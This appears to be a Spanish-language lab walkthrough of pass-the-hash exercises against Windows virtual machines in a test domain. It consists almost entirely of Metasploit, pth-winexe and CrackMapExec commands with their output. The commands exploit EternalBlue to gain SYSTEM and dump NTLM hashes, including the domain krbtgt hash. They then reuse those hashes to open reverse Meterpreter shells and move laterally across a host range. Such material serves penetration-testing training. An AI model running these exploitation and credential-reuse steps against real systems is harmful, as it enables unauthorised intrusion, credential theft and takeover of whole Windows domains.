EJERCICIOS PASS THE HASH

Herramientas

- Kali Linux
- Windowsploitable
- Windows 10 Evasion
- Windows Server 2012 Movimientos Laterales

Ejercicio 1 - Metasploit, Pth-toolkit y Crackmapexec

- **Comprometer la máquina Windowsploitable para llegar a NT AUTHORITY\SYSTEM.**

```
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf6 > search eternalblue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
```

```
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.0.2.101
rhosts ⇒ 10.0.2.101
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.101:445        - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.0.2.101:445        - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.101:445 - The target is vulnerable.
[*] 10.0.2.101:445 - Connecting to target for exploitation.
[+] 10.0.2.101:445 - Connection established for exploitation.
[+] 10.0.2.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.101:445 - CORE raw buffer dump (42 bytes)
[*] 10.0.2.101:445 - 0×00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.0.2.101:445 - 0×00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.0.2.101:445 - 0×00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.0.2.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.101:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.101:445 - Starting non-paged pool grooming
[+] 10.0.2.101:445 - Sending SMBv2 buffers
[+] 10.0.2.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.101:445 - Sending final SMBv2 buffers.
[*] 10.0.2.101:445 - Sending last fragment of exploit packet!
[*] 10.0.2.101:445 - Receiving response from exploit packet
[+] 10.0.2.101:445 - ETERNALBLUE overwrite completed successfully (0×C000000D)!
[*] 10.0.2.101:445 - Sending egg to corrupted connection.
[*] 10.0.2.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.0.2.101
[*] Meterpreter session 1 opened (10.0.2.15:4444 → 10.0.2.101:49162) at 2023-02-13 20:46:35 +0100
[+] 10.0.2.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] 10.0.2.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] 10.0.2.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > bg
[*] Backgrounding session 1 ...
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ HETEAM  10.0.2.15:4444 → 10.0.2.101:49162 (10.0.2.101)
```

- **Conseguir los hashes de los usuarios.**

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591:::
bob:1003:aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:a5fb78631c45b1c1406ea324a945fc12:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
master:1000:aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad:::
meterpreter >
```

- **Utilizar los hashes de los usuarios para realizar los siguientes ataques pass-the-hash:**
- **PtH con metasploit**

ADMINISTRADOR

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > search psexec

Matching Modules
================

   #   Name                                          Disclosure Date  Rank       Check  Description
   -   ----                                          ---------------  ----       -----  -----------
   0   auxiliary/scanner/smb/impacket/dcomexec       2018-03-19       normal     No     DCOM Exec
   1   exploit/windows/smb/ms17_010_psexec           2017-03-14       normal     Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2   auxiliary/admin/smb/ms17_010_command          2017-03-14       normal     No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3   auxiliary/scanner/smb/psexec_loggedin_users                    normal     No     Microsoft Windows Authenticated Logged In Users Enumeration
   4   exploit/windows/smb/psexec                    1999-01-01       manual     No     Microsoft Windows Authenticated User Code Execution
   5   auxiliary/admin/smb/psexec_ntdsgrab                            normal     No     PsExec NTDS.dit And SYSTEM Hive Download Utility
   6   exploit/windows/local/current_user_psexec     1999-01-01       excellent  No     PsExec via Current User Token
   7   encoder/x86/service                                            manual     No     Register Service
   8   auxiliary/scanner/smb/impacket/wmiexec        2018-03-19       normal     No     WMI Exec
   9   exploit/windows/smb/webexec                   2018-10-24       manual     No     WebExec Authenticated User Code Execution
   10  exploit/windows/local/wmi                     1999-01-01       excellent  No     Windows Management Instrumentation (WMI) Remote Command Execution


Interact with a module by name or index. For example info 10, use 10 or use exploit/windows/local/wmi
```

```
msf6 exploit(windows/smb/psexec) > set payloads windows/x64/meterpreter/reverse_tcp
[-] Unknown datastore option: payloads. Did you mean PAYLOAD?
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload ⇒ windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set SAMUser Administrador
[-] Unknown datastore option: SAMUser. Did you mean SMBUser?
msf6 exploit(windows/smb/psexec) > set SMBUser Administrador
SMBUser ⇒ Administrador
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
SMBPass ⇒ aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
msf6 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                  Required  Description
   ----                  ---------------                                                  --------  -----------
   RHOSTS                10.0.2.95-105                                                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT                 445                                                              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                   no        The service display name
   SERVICE_NAME                                                                           no        The service name
   SMBDomain             .                                                                no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591  no        The password for the specified username
   SMBSHARE                                                                               no        The share to connect to, can be an admin share (ADMIN$,C$, ... ) or a normal read/write folder share
   SMBUser               Administrador                                                    no        The username to authenticate as


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
```

```
msf6 exploit(windows/smb/psexec) > exploit
[*] Exploiting target 10.0.2.95

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.95:445 - Connecting to the server ...
[-] 10.0.2.95:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.95:445) was unreachable.
[*] Exploiting target 10.0.2.96
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.96:445 - Connecting to the server ...
[-] 10.0.2.96:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.96:445) was unreachable.
[*] Exploiting target 10.0.2.97
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.97:445 - Connecting to the server ...
[-] 10.0.2.97:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.97:445) was unreachable.
[*] Exploiting target 10.0.2.98
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.98:445 - Connecting to the server ...
[-] 10.0.2.98:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.98:445) was unreachable.
[*] Exploiting target 10.0.2.99
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.99:445 - Connecting to the server ...
[-] 10.0.2.99:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.99:445) was unreachable.
[*] Exploiting target 10.0.2.100
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.100:445 - Connecting to the server ...
[*] 10.0.2.100:445 - Authenticating to 10.0.2.100:445 as user 'Administrador' ...
[*] 10.0.2.100:445 - Selecting PowerShell target
[*] 10.0.2.100:445 - Executing the payload ...
[+] 10.0.2.100:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (200774 bytes) to 10.0.2.100
[*] Meterpreter session 2 opened (10.0.2.15:4444 → 10.0.2.100:53506) at 2023-02-13 21:08:01 +0100
[*] Session 2 created in the background.
[*] Exploiting target 10.0.2.101
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Connecting to the server ...
[*] 10.0.2.101:445 - Authenticating to 10.0.2.101:445 as user 'Administrador' ...
[*] 10.0.2.101:445 - Selecting PowerShell target
[*] 10.0.2.101:445 - Executing the payload ...
[+] 10.0.2.101:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (200774 bytes) to 10.0.2.101
[*] Meterpreter session 3 opened (10.0.2.15:4444 → 10.0.2.101:49191) at 2023-02-13 21:08:04 +0100
[*] Session 3 created in the background.
[*] Exploiting target 10.0.2.102
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.102:445 - Connecting to the server ...
[*] 10.0.2.102:445 - Authenticating to 10.0.2.102:445 as user 'Administrador' ...
[-] 10.0.2.102:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication informatio
n.
[*] Exploiting target 10.0.2.103
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.103:445 - Connecting to the server ...
[-] 10.0.2.103:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.103:445) was unreachable.
[*] Exploiting target 10.0.2.104
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.104:445 - Connecting to the server ...
```



```
msf6 exploit(windows/smb/psexec) > sessions

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ HETEAM  10.0.2.15:4444 → 10.0.2.101:49162 (10.0.2.101)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ PDC     10.0.2.15:4444 → 10.0.2.100:53506 (10.0.2.100)
  3         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ HETEAM  10.0.2.15:4444 → 10.0.2.101:49191 (10.0.2.101)
```

```
msf6 exploit(windows/smb/psexec) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrador:500:aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bb3beebe8f9423ab15ebc6254dbf2278:::
usuario:1104:aad3b435b51404eeaad3b435b51404ee:02871d86c4be73990188524ed861efb1:::
master:1108:aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad:::
bob:1111:aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a:::
PDC$:1001:aad3b435b51404eeaad3b435b51404ee:8a1544168258f5429d02edbdbdf32ea6:::
PC1$:1106:aad3b435b51404eeaad3b435b51404ee:2407b9b910742f43d6acb85d0a2887e3:::
HETEAM$:1107:aad3b435b51404eeaad3b435b51404ee:4fc978d8031eb787ce0a9f31f2b91375:::
```

bob

```
msf6 exploit(windows/smb/psexec) > set SMBUser aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a
SMBUser => aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a
msf6 exploit(windows/smb/psexec) > set SMBUser bob
SMBUser => bob
msf6 exploit(windows/smb/psexec) > set SMBPass
SMBPass => aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
msf6 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                  Required  Description
   ----                  ---------------                                                  --------  -----------
   RHOSTS                10.0.2.95-105                                                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT                 445                                                              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                   no        The service display name
   SERVICE_NAME                                                                           no        The service name
   SMBDomain             .                                                                no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591  no        The password for the specified username
   SMBSHARE                                                                               no        The share to connect to, can be an admin share (ADMIN$,C$, ... ) or a normal read/write folder share
   SMBUser               bob                                                              no        The username to authenticate as


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.
```

```
msf6 exploit(windows/smb/psexec) > exploit
[*] Exploiting target 10.0.2.95

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.95:445 - Connecting to the server ...
[-] 10.0.2.95:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.95:445) was unreachable.
[*] Exploiting target 10.0.2.96
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.96:445 - Connecting to the server ...
[-] 10.0.2.96:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.96:445) was unreachable.
[*] Exploiting target 10.0.2.97
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.97:445 - Connecting to the server ...
[-] 10.0.2.97:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.97:445) was unreachable.
[*] Exploiting target 10.0.2.98
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.98:445 - Connecting to the server ...
[-] 10.0.2.98:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.98:445) was unreachable.
[*] Exploiting target 10.0.2.99
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.99:445 - Connecting to the server ...
[-] 10.0.2.99:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.99:445) was unreachable.
[*] Exploiting target 10.0.2.100
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.100:445 - Connecting to the server ...
[*] 10.0.2.100:445 - Authenticating to 10.0.2.100:445 as user 'bob' ...
[-] 10.0.2.100:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0×c000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication informatio
n.
[*] Exploiting target 10.0.2.101
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Connecting to the server ...
[*] 10.0.2.101:445 - Authenticating to 10.0.2.101:445 as user 'bob' ...
[-] 10.0.2.101:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0×c000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication informatio
n.
[*] Exploiting target 10.0.2.102
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.102:445 - Connecting to the server ...
[*] 10.0.2.102:445 - Authenticating to 10.0.2.102:445 as user 'bob' ...
[-] 10.0.2.102:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0×c000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication informatio
n.
[*] Exploiting target 10.0.2.103
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.103:445 - Connecting to the server ...
[-] 10.0.2.103:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.103:445) was unreachable.
[*] Exploiting target 10.0.2.104
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.104:445 - Connecting to the server ...
[-] 10.0.2.104:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.104:445) was unreachable.
[*] Exploiting target 10.0.2.105
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.105:445 - Connecting to the server ...
[-] 10.0.2.105:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.105:445) was unreachable.
[*] Exploit completed, but no session was created.
```

master

```
msf6 exploit(windows/smb/psexec) > options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                  Required  Description
   ----                  ---------------                                                  --------  -----------
   RHOSTS                10.0.2.95-105                                                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT                 445                                                              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                                                                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                   no        The service display name
   SERVICE_NAME                                                                           no        The service name
   SMBDomain             .                                                                no        The Windows domain to use for authentication
   SMBPass               aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 no        The password for the specified username
   SMBSHARE                                                                               no        The share to connect to, can be an admin share (ADMIN$,C$, ... ) or a normal read/write folder sha
   SMBUser               bob                                                              no        The username to authenticate as


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > set SMBUser master
SMBUser => master
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad
SMBPass => aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad
```

```
msf6 exploit(windows/smb/psexec) > exploit
[*] Exploiting target 10.0.2.95

[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.95:445 - Connecting to the server ...
[-] 10.0.2.95:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.95:445) was unreachable.
[*] Exploiting target 10.0.2.96
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.96:445 - Connecting to the server ...
[-] 10.0.2.96:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.96:445) was unreachable.
[*] Exploiting target 10.0.2.97
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.97:445 - Connecting to the server ...
[-] 10.0.2.97:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.97:445) was unreachable.
[*] Exploiting target 10.0.2.98
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.98:445 - Connecting to the server ...
[-] 10.0.2.98:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.98:445) was unreachable.
[*] Exploiting target 10.0.2.99
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.99:445 - Connecting to the server ...
[-] 10.0.2.99:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.99:445) was unreachable.
[*] Exploiting target 10.0.2.100
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.100:445 - Connecting to the server ...
[*] 10.0.2.100:445 - Authenticating to 10.0.2.100:445 as user 'master' ...
[-] 10.0.2.100:445 - Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] Exploiting target 10.0.2.101
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.101:445 - Connecting to the server ...
[*] 10.0.2.101:445 - Authenticating to 10.0.2.101:445 as user 'master' ...
[-] 10.0.2.101:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc0000071) STATUS_PASSWORD_EXPIRED: The user account password has expired.
[*] Exploiting target 10.0.2.102
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.102:445 - Connecting to the server ...
[*] 10.0.2.102:445 - Authenticating to 10.0.2.102:445 as user 'master' ...
[*] 10.0.2.102:445 - Selecting PowerShell target
[*] 10.0.2.102:445 - Executing the payload ...
[-] 10.0.2.102:445 - Service failed to start - ACCESS_DENIED
[*] Exploiting target 10.0.2.103
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.103:445 - Connecting to the server ...
[-] 10.0.2.103:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.103:445) was unreachable.
[*] Exploiting target 10.0.2.104
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.104:445 - Connecting to the server ...
[-] 10.0.2.104:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.104:445) was unreachable.
[*] Exploiting target 10.0.2.105
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.105:445 - Connecting to the server ...
[-] 10.0.2.105:445 - Exploit failed [unreachable]: Rex::HostUnreachable The host (10.0.2.105:445) was unreachable.
[*] Exploit completed, but no session was created.
```

- **PtH con pth-toolkit**

```
┌──(root㉿kali)-[~]
└─# pth-winexe -U Administrador%aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 //10.0.2.100 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: StartService failed. NT code 0×c000041d.
┌──(root㉿kali)-[~]
└─# pth-winexe -U Administrador%aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 //10.0.2.101 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Versi◆n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Windows\system32>get user^H^H^H^H^H^H^H^H^[[A^H^H^H^H
"get" no se reconoce como un comando interno o externo,
programa o archivo por lotes ejecutable.

C:\Windows\system32>net user
net user

Cuentas de usuario de \\

-------------------------------------------------------------------------------
Administrador            bob                      Invitado
master
El comando se ha completado con uno o m◆s errores.

C:\Windows\system32>exit
exit
```

```
┌──(root㉿kali)-[~]
└─# pth-winexe -U Administrador%aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 //10.0.2.102 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_TRUSTED_RELATIONSHIP_FAILURE

┌──(root㉿kali)-[~]
└─# pth-winexe -U bob%aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a //10.0.2.100 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: OpenService failed. NT_STATUS_ACCESS_DENIED.

┌──(root㉿kali)-[~]
└─# pth-winexe -U bob%aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a //10.0.2.101 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: OpenService failed. NT_STATUS_ACCESS_DENIED.

┌──(root㉿kali)-[~]
└─# pth-winexe -U bob%aad3b435b51404eeaad3b435b51404ee:ed9338d46d2092c21e4680732830c03a //10.0.2.102 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_TRUSTED_RELATIONSHIP_FAILURE

┌──(root㉿kali)-[~]
└─# pth-winexe -U master%aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad //10.0.2.102 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_TRUSTED_RELATIONSHIP_FAILURE

┌──(root㉿kali)-[~]
└─# pth-winexe -U master%aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad //10.0.2.101 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: Failed to open connection - NT_STATUS_PASSWORD_EXPIRED

┌──(root㉿kali)-[~]
└─# pth-winexe -U master%aad3b435b51404eeaad3b435b51404ee:7acacbf0020ecda9f5a85eb69c8331ad //10.0.2.100 cmd.exe
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
ERROR: OpenService failed. NT_STATUS_ACCESS_DENIED.
```

- **PtH con crackmapexec**

```
┌──(root㉿kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
└─# poetry run crackmapexec smb 10.0.2.0/24
SMB         10.0.2.101      445    HETEAM           [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.100      445    PDC              [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB         10.0.2.102      445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.30       445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.2        445    DESKTOP-30M1UOD  [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
```

```
┌──(root㉿kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
└─# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591
SMB         10.0.2.102      445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB         10.0.2.30       445    PC1              [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
